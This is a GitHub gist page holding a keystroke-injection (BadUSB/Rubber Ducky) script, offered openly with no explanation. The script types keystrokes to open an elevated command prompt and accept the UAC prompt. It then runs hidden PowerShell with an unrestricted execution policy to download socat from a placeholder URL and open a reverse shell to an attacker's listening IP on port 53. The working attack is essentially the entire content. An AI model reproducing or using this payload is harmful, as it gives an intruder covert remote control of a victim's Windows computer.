Skip to content

Instantly share code, notes, and snippets.

@hi-im-aj
Created June 14, 2022 09:04
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hi-im-aj/b556ca7bf757b96acfb5f5212c219dff to your computer and use it in GitHub Desktop.
Save hi-im-aj/b556ca7bf757b96acfb5f5212c219dff to your computer and use it in GitHub Desktop.
DELAY 1000
GUI r
DELAY 500
STRING cmd
SHIFT CTRL ENTER
DELAY 1000
LEFT
ENTER
DELAY 1000
REM Replace URL_TO_SOCAT_ZIP and LISTENING_IP
STRING powershell -WindowStyle Hidden -ExecutionPolicy Unrestricted -Command "cd /; mkdir win; cd win; wget URL_TO_SOCAT_ZIP -O socat.zip; Expand-Archive -LiteralPath socat.zip -DestinationPath .; /win/socat-1.7.3.0-windows-master/socat.exe TCP4:LISTENING_IP:53 EXEC:'powershell.exe',pipes"
ENTER
DELAY 10000
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment